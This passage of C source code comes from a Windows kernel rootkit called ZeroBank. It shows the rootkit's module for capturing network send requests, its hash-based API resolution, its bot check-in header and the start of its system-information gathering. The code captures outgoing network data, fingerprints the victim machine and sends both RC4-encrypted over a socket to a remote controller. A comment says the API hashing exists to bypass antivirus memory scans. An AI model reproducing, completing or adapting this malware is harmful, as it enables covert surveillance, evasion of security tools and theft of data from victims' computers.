16 | pSendRequests = (PZEROBANK_FILTER_SEND_REQUESTS)g_Hash._ExAllocatePool(NonPagedPool, sizeof(ZEROBANK_FILTER_SEND_REQUESTS));
17 | memset(pSendRequests, 0, sizeof(ZEROBANK_FILTER_SEND_REQUESTS));
18 |
19 | size = g_pStackLocation->Parameters.DeviceIoControl.OutputBufferLength;
20 |
21 | do
22 | {
23 | Alloc = (PCHAR)g_Hash._ExAllocatePool(NonPagedPool, (SIZE_T)size);
24 |
25 | } while (Alloc == NULL);
26 |
27 | memcpy(Alloc, Buffer, size);
28 | memcpy((PVOID)pSendRequests->SendBuffer, (PVOID)Alloc, (SIZE_T)size);
29 |
30 | DbgPrint("\n%s", pSendRequests->SendBuffer);
31 |
32 | g_Hash._KfAcquireSpinLock(&g_globalspinlock);
33 | InsertTailList(&g_send_head->Entry, &pSendRequests->Entry);
34 | g_Hash._KfReleaseSpinLock(&g_globalspinlock, Irql);
35 |
36 | g_send_head->NumberOfEntries++;
37 |
38 | g_Hash._ExFreePoolWithTag(Alloc, 0);
39 |
40 | }
41 | __except (EXCEPTION_EXECUTE_HANDLER) {
42 | return GetExceptionCode();
43 | KdPrint(("\r\nException Caught in TDI_SEND filter requests"));
44 | }
45 | }
46 |
47 | return g_send_head->NumberOfEntries;
48 | }
49 |
50 | ULONG g_rk_copy_sendlist_to_buffer(IN PZEROBANK_FILTER_SEND_REQUESTS pBuffer, IN PROOTKIT_API_HASH Hash) {
51 | PZEROBANK_FILTER_SEND_REQUESTS pSend = NULL;
52 | ULONG neededsize = 0;
53 |
54 | if (g_send_head == NULL)
55 | return 1;
56 |
57 | Hash->_KfAcquireSpinLock(&g_globalspinlock);
58 |
59 | while (!IsListEmpty(&g_send_head->Entry)) {
60 | pSend = (PZEROBANK_FILTER_SEND_REQUESTS)RemoveTailList(&g_send_head->Entry);
61 | memcpy(pBuffer, pSend, sizeof(ZEROBANK_FILTER_SEND_REQUESTS));
62 | Hash->_ExFreePoolWithTag(pSend, 0);
63 | pBuffer++;
64 | neededsize++;
65 |
66 | }
67 |
68 | Hash->_KfReleaseSpinLock(&g_globalspinlock, Irql);
69 |
70 | Hash->_ExFreePoolWithTag(g_send_head, 0);
71 | g_send_head = NULL;
72 |
73 | return neededsize*sizeof(ZEROBANK_FILTER_SEND_REQUESTS);
74 |
75 | }
76 |
77 | BOOLEAN g_rk_sendrequests_to_userspace(IN PFILE_OBJECT pSocket, IN PROOTKIT_API_HASH Hash) {
78 | BOOLEAN g_cond = FALSE;
79 | ULONG bytes = 0;
80 | PZEROBANK_FILTER_SEND_REQUESTS pSend = NULL;
81 | PVOID Alloc = NULL;
82 | PMDL Mdl = NULL;
83 | INT sendsize = 0;
84 | INT returnedbytes = 0;
85 |
86 |
87 | bytes = g_send_head->NumberOfEntries*sizeof(ZEROBANK_FILTER_SEND_REQUESTS);
88 | if (bytes == 0)
89 | return FALSE;
90 |
91 | do
92 | {
93 | sendsize = send(pSocket, (PCHAR)&bytes, sizeof(ULONG));
94 | if (sendsize > 0)
95 | {
96 | Alloc = KiAllocateMappedVirtualMemory(bytes, 'kbot', &Mdl, Hash);
97 | if (Alloc && Hash->_MmIsAddressValid(Alloc) && KiIsMdlAdddressValid(Mdl, Hash) == TRUE)
98 | {
99 | pSend = (PZEROBANK_FILTER_SEND_REQUESTS)Alloc;
100 | if (pSend && Hash->_MmIsAddressValid(pSend))
101 | {
102 | returnedbytes = g_rk_copy_sendlist_to_buffer(pSend, Hash);
103 | if (returnedbytes > 0)
104 | {
105 | sendsize = tdi_send_crypted(pSocket, RC4_KEY_2,(PVOID)pSend, returnedbytes, 0);
106 | if (sendsize > 0)
107 | {
108 | g_cond = TRUE;
109 | }
110 | }
111 | }
112 | }
113 | }
114 |
115 | } while (FALSE);
116 |
117 | KiFreeMappedVirtualMemory(Alloc, 'kbot', Mdl, Hash);
118 | Alloc = NULL;
119 |
120 | return g_cond;
121 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/filtersendrequests.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | typedef struct _ZEROBANK_FILTER_SEND_REQUESTS {
4 | LIST_ENTRY Entry;
5 | CHAR SendBuffer[2048];
6 | }ZEROBANK_FILTER_SEND_REQUESTS, *PZEROBANK_FILTER_SEND_REQUESTS;
7 |
8 | typedef struct _ZEROBANK_SEND_HEAD {
9 | LIST_ENTRY Entry;
10 | ULONG NumberOfEntries;
11 | }ZEROBANK_SEND_HEAD, *PZEROBANK_SEND_HEAD;
12 |
13 | PZEROBANK_SEND_HEAD g_rk_get_total_send_request();
14 | ULONG g_rk_copy_sendlist_to_buffer(IN PZEROBANK_FILTER_SEND_REQUESTS pBuffer, IN PROOTKIT_API_HASH Hash);
15 | BOOLEAN g_rk_sendrequests_to_userspace(IN PFILE_OBJECT pSocket, IN PROOTKIT_API_HASH Hash);
16 | extern PZEROBANK_SEND_HEAD g_send_head;
17 |
--------------------------------------------------------------------------------
/ZeroBank!kit/hash.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 |
4 | ///*//////////////////////////////////////////////////
5 | ///
6 | /// File: Hash.c
7 | ///
8 | /// Associate function address with a hash
9 | /// with the only purpose of bypass av runtime
10 | /// memory scan, since IAT (Import Address Table)
11 | /// will be empty
12 | ///
13 | ///*////////////////////////////////////////////////////
14 |
15 |
16 | VOID KiLoadFunctions(PROOTKIT_API_HASH Hash)
17 | {
18 | Hash->ntoskrnlexe = NULL;
19 | Hash->HalDll = NULL;
20 |
21 | /// Get NtosKrnl.exe module address
22 | /// and load functions with corresponding hash offset
23 |
24 |
25 | Hash->ntoskrnlexe = KiGetModuleHandle(L"ntoskrnl.exe");
26 | if (Hash->ntoskrnlexe != NULL)
27 | {
28 | /// Rtl
29 | Hash->_RtlInitUnicodeString = (fnRtlInitUnicodeString)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlInitUnicodeString);
30 | Hash->_RtlInitAnsiString = (fnRtlInitAnsiString)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlInitAnsiString);
31 | Hash->_RtlTimeToTimeFields = (fnRtlTimeToTimeFields)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlTimeToTimeFields);
32 | Hash->_RtlRandomEx = (fnRtlRandomEx)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlRandomEx);
33 | Hash->_RtlAnsiStringToUnicodeString = (fnRtlAnsiStringToUnicodeString)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlAnsiStringToUnicodeString);
34 | Hash->_RtlFreeUnicodeString = (fnRtlFreeUnicodeString)KiResolveAddress(Hash->ntoskrnlexe, HASH_RtlFreeUnicodeString);
35 |
36 | /// Io & Iof
37 |
38 | Hash->_IofCallDriver = (fnIofCallDriver)KiResolveAddress(Hash->ntoskrnlexe, HASH_IofCallDriver);
39 | Hash->_IoFreeIrp = (fnIoFreeIrp)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoFreeIrp);
40 | Hash->_IoFreeMdl = (fnIoFreeMdl)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoFreeMdl);
41 | Hash->_IoAllocateMdl = (fnIoAllocateMdl)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoAllocateMdl);
42 | Hash->_IoGetRelatedDeviceObject = (fnIoGetRelatedDeviceObject)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoGetRelatedDeviceObject);
43 | Hash->_IoAllocateIrp = (fnIoAllocateIrp)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoAllocateIrp);
44 | Hash->_IoCreateFileEx = (fnIoCreateFileEx)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoCreateFileEx);
45 | Hash->_IoGetCurrentProcess = (fnIoGetCurrentProcess)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoGetCurrentProcess);
46 | Hash->_IoGetConfigurationInformation = (fnIoGetConfigurationInformation)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoGetConfigurationInformation);
47 | Hash->_IoBuildDeviceIoControlRequest = (fnIoBuildDeviceIoControlRequest)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoBuildDeviceIoControlRequest);
48 | Hash->_IoFileObjectType = (fnIoFileObjectType)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoFileObjectType);
49 | Hash->_IoAttachDevice = (fnIoAttachDevice)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoAttachDevice);
50 | Hash->_IoCreateDevice = (fnIoCreateDevice)KiResolveAddress(Hash->ntoskrnlexe, HASH_IoCreateDevice);
51 |
52 | /// Mm
53 |
54 | Hash->_MmAllocateMappingAddress = (fnMmAllocateMappingAddress)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmAllocateMappingAddress);
55 | Hash->_MmFreeMappingAddress = (fnMmFreeMappingAddress)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmFreeMappingAddress);
56 | Hash->_MmIsAddressValid = (fnMmIsAddressValid)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmIsAddressValid);
57 | Hash->_MmAllocatePagesForMdlEx = (fnMmAllocatePagesForMdlEx)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmAllocatePagesForMdlEx);
58 | Hash->_MmFreePagesFromMdl = (fnMmFreePagesFromMdl)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmFreePagesFromMdl);
59 | Hash->_MmMapLockedPagesWithReservedMapping = (fnMmMapLockedPagesWithReservedMapping)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmMapLockedPagesWithReservedMapping);
60 | Hash->_MmUnmapReservedMapping = (fnMmUnmapReservedMapping)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmUnmapReservedMapping);
61 | Hash->_MmProbeAndLockPages = (fnMmProbeAndLockPages)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmProbeAndLockPages);
62 | Hash->_MmUnlockPages = (fnMmUnlockPages)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmUnlockPages);
63 | Hash->_MmMapLockedPagesSpecifyCache = (fnMmMapLockedPagesSpecifyCache)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmMapLockedPagesSpecifyCache);
64 | Hash->_MmUnmapLockedPages = (fnMmUnmapLockedPages)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmUnmapLockedPages);
65 | Hash->_MmIsThisAnNtAsSystem = (fnMmIsThisAnNtAsSystem)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmIsThisNtAsSystem);
66 | Hash->_MmBuildMdlForNonPagedPool = (fnMmBuildMdlForNonPagedPool)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmBuildMdlForNonPagedPool);
67 | Hash->_MmGetSystemRoutineAddress = (fnMmGetSystemRoutineAddress)KiResolveAddress(Hash->ntoskrnlexe, HASH_MmGetSystemRoutineAddress);
68 |
69 | /// Ob
70 |
71 | Hash->_ObReferenceObjectByHandle = (fnObReferenceObjectByHandle)KiResolveAddress(Hash->ntoskrnlexe, HASH_ObReferenceObjectByHandle);
72 | Hash->_ObfDereferenceObject = (fnObfDereferenceObject)KiResolveAddress(Hash->ntoskrnlexe, HASH_ObfDereferenceObject);
73 | Hash->_ObOpenObjectByPointer = (fnObOpenObjectByPointer)KiResolveAddress(Hash->ntoskrnlexe, HASH_ObOpenObjectByPointer);
74 |
75 | /// Ps
76 |
77 | Hash->_PsCreateSystemThread = (fnPsCreateSystemThread)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsCreateSystemThread);
78 | Hash->_PsLookupProcessByProcessId = (fnPsLookupProcessByProcessId)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsLookupProcessByProcessId);
79 | Hash->_PsGetVersion = (fnPsGetVersion)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsGetVersion);
80 | Hash->_PsTerminateSystemThread = (fnPsTerminateSystemThread)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsTerminateSystemThread);
81 | Hash->_PsGetThreadId = (fnPsGetThreadId)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsGetThreadId);
82 | Hash->_PsIsProtectedProcess = (fnPsIsProtectedProcess)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsIsProtectedProcess);
83 | Hash->_PsProcessType = (fnPsProcessType)KiResolveAddress(Hash->ntoskrnlexe, HASH_PsProcessType);
84 |
85 | /// Kz & Ke
86 |
87 | Hash->_KeInitializeEvent = (fnKeInitializeEvent)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeInitializeEvent);
88 | Hash->_KeWaitForSingleObject = (fnKeWaitForSingleObject)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeWaitForSingleObject);
89 | Hash->_KeSetEvent = (fnKeSetEvent)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeSetEvent);
90 | Hash->_KeResetEvent = (fnKeResetEvent)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeResetEvent);
91 | Hash->_KeClearEvent = (fnKeClearEvent)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeClearEvent);
92 | Hash->_KeStackAttachProcess = (fnKeStackAttachProcess)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeStackAttachProcess);
93 | Hash->_KeUnstackDetachProcess = (fnKeUnstackDetachProcess)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeUnstackDetachProcess);
94 | Hash->_KeQueryActiveGroupCount = (fnKeQueryActiveGroupCount)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeQueryActiveGroupCount);
95 | Hash->_KeQueryActiveProcessorCount = (fnKeQueryActiveProcessorCount)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeQueryActiveProcessorCount);
96 | Hash->_KeQueryActiveProcessors = (fnKeQueryActiveProcessors)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeQueryActiveProcessors);
97 | Hash->_KeQueryInterruptTime = (fnKeQueryInterruptTime)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeQueryInterruptTime);
98 | Hash->_KeQueryMaximumProcessorCount = (fnKeQueryMaximumProcessorCount)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeQueryMaximumProcessorCount);
99 | Hash->_KeAcquireGuardedMutex = (fnKeAcquireGuardedMutex)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeAcquireGuardedMutex);
100 | Hash->_KeReleaseGuardedMutex = (fnKeReleaseGuardedMutex)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeReleaseGuardedMutex);
101 | Hash->_KeInitializeGuardedMutex = (fnKeInitializeGuardedMutex)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeInitializeGuardedMutex);
102 | Hash->_KeGetCurrentThread = (fnKeGetCurrentThread)KiResolveAddress(Hash->ntoskrnlexe, HASH_KeGetCurrentThread);
103 |
104 | /// Ex
105 |
106 | Hash->_ExAllocatePool = (fnExAllocatePool)KiResolveAddress(Hash->ntoskrnlexe, HASH_ExAllocatePool);
107 | Hash->_ExAllocatePoolWithTag = (fnExAllocatePoolWithTag)KiResolveAddress(Hash->ntoskrnlexe, HASH_ExAllocatePoolWithTag);
108 | Hash->_ExFreePoolWithTag = (fnExFreePoolWithTag)KiResolveAddress(Hash->ntoskrnlexe, HASH_ExFreePoolWithTag);
109 | Hash->_ExAcquireRundownProtection = (fnExAcquireRundownProtection)KiResolveAddress(Hash->ntoskrnlexe, HASH_ExAcquireRundownProtection);
110 | Hash->_ExReleaseRundownProtection = (fnExReleaseRundownProtection)KiResolveAddress(Hash->ntoskrnlexe, HASH_ExReleaseRundownProtection);
111 |
112 | /// Other
113 |
114 | Hash->_ZwQueryVolumeInformationFile = (fnZwQueryVolumeInformationFile)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwQueryVolumeInformationFile);
115 | Hash->_ZwQueryDefaultLocale = (fnZwQueryDefaultLocale)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwQueryDefaultLocale);
116 | Hash->_ZwQueryDefaultUILanguage = (fnZwQueryDefaultUILanguage)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwQueryDefaultUILanguage);
117 | Hash->_ZwOpenFile = (fnZwOpenFile)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwOpenFile);
118 | Hash->_ZwQuerySystemInformation = (fnZwQuerySystemInformation)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwQuerySystemInformation);
119 | Hash->_sprintf_s = (fnsprintf_s)KiResolveAddress(Hash->ntoskrnlexe, HASH_sprintf_s);
120 | Hash->_strlen = (fnstrlen)KiResolveAddress(Hash->ntoskrnlexe, HASH_strlen);
121 | Hash->_strcat = (fnstrcat)KiResolveAddress(Hash->ntoskrnlexe, HASH_strcat);
122 | Hash->_ZwOpenProcess = (fnZwOpenProcess)KiResolveAddress(Hash->ntoskrnlexe, HASH_ZwOpenProcess);
123 | Hash->_strcpy_s = (fnstrcpy_s)KiResolveAddress(Hash->ntoskrnlexe, HASH_strcpy_s);
124 | Hash->_memset = (fnmemset)KiResolveAddress(Hash->ntoskrnlexe, HASH_memset);
125 | }
126 |
127 | /// Get Hal.dll module address
128 |
129 | Hash->HalDll = KiGetModuleHandle(L"hal.dll");
130 | if (Hash->HalDll != NULL)
131 | {
132 | /// Ke & Kf
133 |
134 | Hash->_KfAcquireSpinLock = (fnKfAcquireSpinLock)KiResolveAddress(Hash->HalDll, HASH_KfAcquireSpinLock);
135 | Hash->_KfReleaseSpinLock = (fnKfReleaseSpinLock)KiResolveAddress(Hash->HalDll, HASH_KfReleaseSpinLock);
136 | Hash->_KfRaiseIrql = (fnKfRaiseIrql)KiResolveAddress(Hash->HalDll, HASH_KfRaiseIrql);
137 | Hash->_KeReleaseInStackQueuedSpinLock = (fnKeReleaseInStackQueuedSpinLock)KiResolveAddress(Hash->HalDll, HASH_KeReleaseInStackQueuedSpinLock);
138 | }
139 |
140 | }
141 |
142 | PVOID KiGetModuleHandle(IN PWCHAR ModuleName)
143 | {
144 | PLDR_DATA_TABLE_ENTRY pDataTable = NULL;
145 | PLDR_DATA_TABLE_ENTRY Buffer = NULL;
146 | PLIST_ENTRY List = NULL;
147 | PVOID ModuleBaseAddress = NULL;
148 | UNICODE_STRING unicode = {0};
149 | SIZE_T destsize;
150 |
151 | _InitUnicodeString(&unicode, ModuleName);
152 |
153 | pDataTable = (PLDR_DATA_TABLE_ENTRY)g_pDriverObject->DriverSection;
154 | if (!pDataTable)
155 | return NULL;
156 |
157 | List = pDataTable->InLoadOrderLinks.Flink;
158 |
159 | while (List != &pDataTable->InLoadOrderLinks)
160 | {
161 |
162 | Buffer = (PLDR_DATA_TABLE_ENTRY)List;
163 |
164 | if (CompareUnicodeString(&Buffer->BaseDllName, &unicode,TRUE) == 0x00)
165 | {
166 | ModuleBaseAddress = Buffer->DllBase;
167 | break;
168 | }
169 |
170 | List = List->Flink;
171 | }
172 |
173 | return ModuleBaseAddress;
174 | }
175 |
176 | PVOID KiGetProcAddress(IN PVOID ModuleBase, IN ULONG Hash, IN ULONG Data)
177 | {
178 | PIMAGE_DOS_HEADER ImageDosHeader = (PIMAGE_DOS_HEADER)ModuleBase;
179 | if (ImageDosHeader->e_magic == IMAGE_DOS_SIGNATURE)
180 | {
181 | PIMAGE_NT_HEADERS ImageNtHeaders = ((PIMAGE_NT_HEADERS)(RtlOffsetToPointer(ModuleBase, ImageDosHeader->e_lfanew)));
182 | if (ImageNtHeaders->Signature == IMAGE_NT_SIGNATURE)
183 | {
184 | if (ImageNtHeaders->OptionalHeader.DataDirectory[Data].VirtualAddress && Data < ImageNtHeaders->OptionalHeader.NumberOfRvaAndSizes) {
185 | PIMAGE_EXPORT_DIRECTORY ImageExport = (((PIMAGE_EXPORT_DIRECTORY)(PUCHAR)RtlOffsetToPointer(ModuleBase, ImageNtHeaders->OptionalHeader.DataDirectory[Data].VirtualAddress)));
186 | if (ImageExport)
187 | {
188 | PULONG AddressOfNames = ((PULONG)RtlOffsetToPointer(ModuleBase, ImageExport->AddressOfNames));
189 | for (ULONG n = 0; n < ImageExport->NumberOfNames; ++n)
190 | {
191 | LPSTR Func = ((LPSTR)RtlOffsetToPointer(ModuleBase, AddressOfNames[n]));
192 | if (KiCryptoHash(Func) == Hash)
193 | {
194 | PULONG AddressOfFunctions = ((PULONG)RtlOffsetToPointer(ModuleBase, ImageExport->AddressOfFunctions));
195 | PUSHORT AddressOfOrdinals = ((PUSHORT)RtlOffsetToPointer(ModuleBase, ImageExport->AddressOfNameOrdinals));
196 |
197 | return ((PVOID)RtlOffsetToPointer(ModuleBase, AddressOfFunctions[AddressOfOrdinals[n]]));
198 |
199 | }
200 | }
201 | }
202 | }
203 | }
204 | }
205 | return NULL;
206 | }
207 |
208 | PVOID KiResolveAddress(IN PVOID ModuleBase, IN ULONG Hash)
209 | {
210 | return KiGetProcAddress(ModuleBase, Hash, 0);
211 | }
212 |
213 | UINT32 KiCryptoHash(IN PCHAR Input)
214 | {
215 | INT Counter = NULL;
216 | UINT32 Hash = 0, N = 0;
217 | while ((Counter = *Input++))
218 | {
219 | Hash ^= ((N++ & 1) == NULL) ? ((Hash << 5) ^ Counter ^ (Hash >> 1)) :
220 | (~((Hash << 9) ^ Counter ^ (Hash >> 3)));
221 | }
222 |
223 | return (Hash & 0x7FFFFFFF);
224 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/header.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | char *querylocation(char *buffer, IN PROOTKIT_API_HASH Hash)
4 | {
5 | NTSTATUS st;
6 | LCID cid = 0;
7 |
8 | st = Hash->_ZwQueryDefaultLocale(FALSE, &cid);
9 | if (NT_SUCCESS(st))
10 | {
11 | switch (cid)
12 | {
13 | case 2052:
14 | kistrcpy(buffer, "Chinese-Simplified");
15 | break;
16 | case 1028:
17 | kistrcpy(buffer, "Chinese-Traditional");
18 | break;
19 | case 1040:
20 | kistrcpy(buffer, "Italian");
21 | break;
22 | case 1036:
23 | kistrcpy(buffer, "French");
24 | break;
25 | case 1041:
26 | kistrcpy(buffer, "Japanese");
27 | break;
28 | case 1042:
29 | kistrcpy(buffer, "Korean");
30 | break;
31 | case 1033:
32 | kistrcpy(buffer, "English");
33 | break;
34 | case 3082:
35 | kistrcpy(buffer, "Spanish");
36 | break;
37 |
38 | default:
39 | break;
40 | }
41 | }
42 |
43 | return buffer;
44 | }
45 |
46 | char *querylanguage(char *buffer, IN PROOTKIT_API_HASH Hash)
47 | {
48 | NTSTATUS st;
49 | LANGID id = 0;
50 |
51 | st = Hash->_ZwQueryDefaultUILanguage(&id);
52 | if (NT_SUCCESS(st))
53 | {
54 | switch (id)
55 | {
56 | case 1025:
57 | kistrcpy(buffer, "Arabic");
58 | break;
59 | case 1028:
60 | kistrcpy(buffer, "Chinese-Traditional");
61 | break;
62 | case 1029:
63 | kistrcpy(buffer, "Czech");
64 | break;
65 | case 1030:
66 | kistrcpy(buffer, "Danish");
67 | break;
68 | case 1031:
69 | kistrcpy(buffer, "German");
70 | break;
71 | case 1032:
72 | kistrcpy(buffer, "Greek");
73 | break;
74 | case 1033:
75 | kistrcpy(buffer, "English");
76 | break;
77 | case 1034:
78 | kistrcpy(buffer, "Spanish");
79 | break;
80 | case 1035:
81 | kistrcpy(buffer, "Finnish");
82 | break;
83 | case 1036:
84 | kistrcpy(buffer, "French");
85 | break;
86 | case 1037:
87 | kistrcpy(buffer, "Hebrew");
88 | break;
89 | case 1038:
90 | kistrcpy(buffer, "Hungarian");
91 | break;
92 | case 1040:
93 | kistrcpy(buffer, "Italian");
94 | break;
95 | case 1041:
96 | kistrcpy(buffer, "Japanese");
97 | break;
98 | case 1042:
99 | kistrcpy(buffer, "Korean");
100 | break;
101 | case 1043:
102 | kistrcpy(buffer, "Dutch");
103 | break;
104 | case 1044:
105 | kistrcpy(buffer, "Norwegian");
106 | break;
107 | case 1045:
108 | kistrcpy(buffer, "Polish");
109 | break;
110 | case 1046:
111 | kistrcpy(buffer, "Portuguese-Brazilian");
112 | break;
113 | case 1049:
114 | kistrcpy(buffer, "Russsian");
115 | break;
116 | case 1053:
117 | kistrcpy(buffer, "Swedish");
118 | break;
119 | case 1054:
120 | kistrcpy(buffer, "Thai");
121 | break;
122 | case 1055:
123 | kistrcpy(buffer, "Turkish");
124 | break;
125 | case 2052:
126 | kistrcpy(buffer, "Chinese-Simplified");
127 | break;
128 | case 2070:
129 | kistrcpy(buffer, "Portuguese");
130 | break;
131 | case 3076:
132 | kistrcpy(buffer, "Chinese-Hong Kong SAR");
133 | break;
134 | default:
135 | break;
136 | }
137 | }
138 |
139 | return buffer;
140 |
141 | }
142 |
143 |
144 | BOOLEAN zerobank_bot_header(IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash)
145 | {
146 | ZEROBANK_BOT_HEADER rkbot = { 0 };
147 | ULONG mj, mn, build;
148 | FILE_FS_VOLUME_INFORMATION volinfo = { 0 };
149 | HANDLE volhandle;
150 | IO_STATUS_BLOCK io = { 0 };
151 | OBJECT_ATTRIBUTES oa = { 0 };
152 | UNICODE_STRING ustr1 = RTL_CONSTANT_STRING(L"\\SystemRoot");
153 | NTSTATUS st;
154 | INT sendsize = 0;
155 | BOOLEAN ret;
156 | UUID guid = { 0 };
157 | MD5Context ctx = { 0 };
158 | rc4_ctx rc4ctx = { 0 };
159 | unsigned char md5_digest[16];
160 | unsigned long seed = 0;
161 |
162 | // get bot Windows version
163 |
164 | Hash->_PsGetVersion(&mj, &mn, &build, NULL);
165 | switch (mn)
166 | {
167 | case 1:
168 | kistrcpy(rkbot.Os, "Windows 7");
169 | break;
170 | case 2:
171 | kistrcpy(rkbot.Os, "Windows 8");
172 | break;
173 | case 3:
174 | kistrcpy(rkbot.Os, "Windows 8.1");
175 | break;
176 | case 0:
177 | kistrcpy(rkbot.Os, "Windows 10");
178 | break;
179 | default:
180 | break;
181 | }
182 |
183 | #ifndef _WIN64
184 | kistrcpy(rkbot.Arch, "x86");
185 | #else
186 | kistrcpy(rkbot.Arch, "x64");
187 | #endif
188 |
189 |
190 | if (Hash->_MmIsThisAnNtAsSystem() == TRUE)
191 | rkbot.IsNtServer = TRUE;
192 | else
193 | rkbot.IsNtServer = FALSE;
194 |
195 | querylocation(rkbot.Locale, Hash);
196 | querylanguage(rkbot.lang, Hash);
197 |
198 | rkbot.Build = build;
199 | rkbot.majorver = mj;
200 | rkbot.minorver = mn;
201 |
202 | InitializeObjectAttributes(&oa, &ustr1, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, NULL);
203 | st = Hash->_ZwOpenFile(&volhandle, FILE_GENERIC_READ, &oa, &io, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_SYNCHRONOUS_IO_NONALERT);
204 | if (NT_SUCCESS(st))
205 | {
206 |
207 | st = Hash->_ZwQueryVolumeInformationFile(volhandle, &io, &volinfo, sizeof(FILE_FS_VOLUME_INFORMATION), FileFsVolumeInformation);
208 | if (NT_SUCCESS(st))
209 | {
210 |
211 | seed = (volinfo.VolumeCreationTime.LowPart) ^ (volinfo.VolumeCreationTime.HighPart);
212 |
213 | __try
214 | {
215 | MD5Init(&ctx);
216 | MD5Update(&ctx, (const unsigned char*)&seed, sizeof(ULONG));
217 | MD5Final(md5_digest, &ctx);
218 |
219 | kimemcpy(&guid, md5_digest, 16);
220 |
221 | Hash->_sprintf_s(rkbot.BotId, 255, "%04x-%04x-%04x", guid.Data1, guid.Data2, guid.Data3);
222 |
223 | kistrcpy(g_idpath, rkbot.BotId);
224 |
225 | }
226 | __except (EXCEPTION_EXECUTE_HANDLER)
227 | {
228 | return GetExceptionCode();
229 | }
230 |
231 | sendsize = tdi_send_crypted(socket, RC4_KEY_1, (PZEROBANK_BOT_HEADER)&rkbot, sizeof(ZEROBANK_BOT_HEADER), 0);
232 | if (sendsize <= 0)
233 | ret = FALSE;
234 | else
235 | ret = TRUE;
236 |
237 | }
238 | #ifndef _WIN64
239 | ObpCloseHandle(volhandle, KernelMode);
240 | #else
241 | ZwClose(volhandle);
242 | #endif
243 | }
244 |
245 | return ret;
246 |
247 | }
--------------------------------------------------------------------------------
/ZeroBank!kit/header.h:
--------------------------------------------------------------------------------
1 | #pragma once
2 |
3 | char *querylocation(char *buffer, IN PROOTKIT_API_HASH Hash);
4 | char *querylanguage(char *buffer, IN PROOTKIT_API_HASH Hash);
5 |
6 | BOOLEAN zerobank_bot_header(IN PFILE_OBJECT socket, IN PROOTKIT_API_HASH Hash);
--------------------------------------------------------------------------------
/ZeroBank!kit/info.c:
--------------------------------------------------------------------------------
1 | #include "common.h"
2 |
3 | /*///////////////////////////////////////
4 | //
5 | // File: info.c
6 | //
7 | // Gather bot system information
8 | //
9 | //
10 | *////////////////////////////////////////
11 |
12 | NTSTATUS rk_send_sys_information_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash)
13 | {
14 | NTSTATUS st = STATUS_SUCCESS;
15 | ROOTKIT_SYS_INFORMATION sysinfo = { 0 };
16 | INT sendsize = 0;
17 | PCONFIGURATION_INFORMATION configinformation = NULL;
18 |
19 | // BASIC CONFIGURATION INFORMATION
20 |
21 | configinformation = Hash->_IoGetConfigurationInformation();
22 |
23 | sysinfo.NumberOfCdRoms = configinformation->CdRomCount;
24 | sysinfo.NumberOfDisks = configinformation->DiskCount;
25 | sysinfo.NumberOfFloppies = configinformation->FloppyCount;
26 | sysinfo.NumberOfParallelPorts = configinformation->ParallelCount;
27 | sysinfo.NumberOfSerialPorts = configinformation->SerialCount;
28 | sysinfo.ScsiCount = configinformation->ScsiPortCount;
29 | sysinfo.TapeDrivesCount = configinformation->TapeCount;
30 |
31 | // KeQuery
32 |
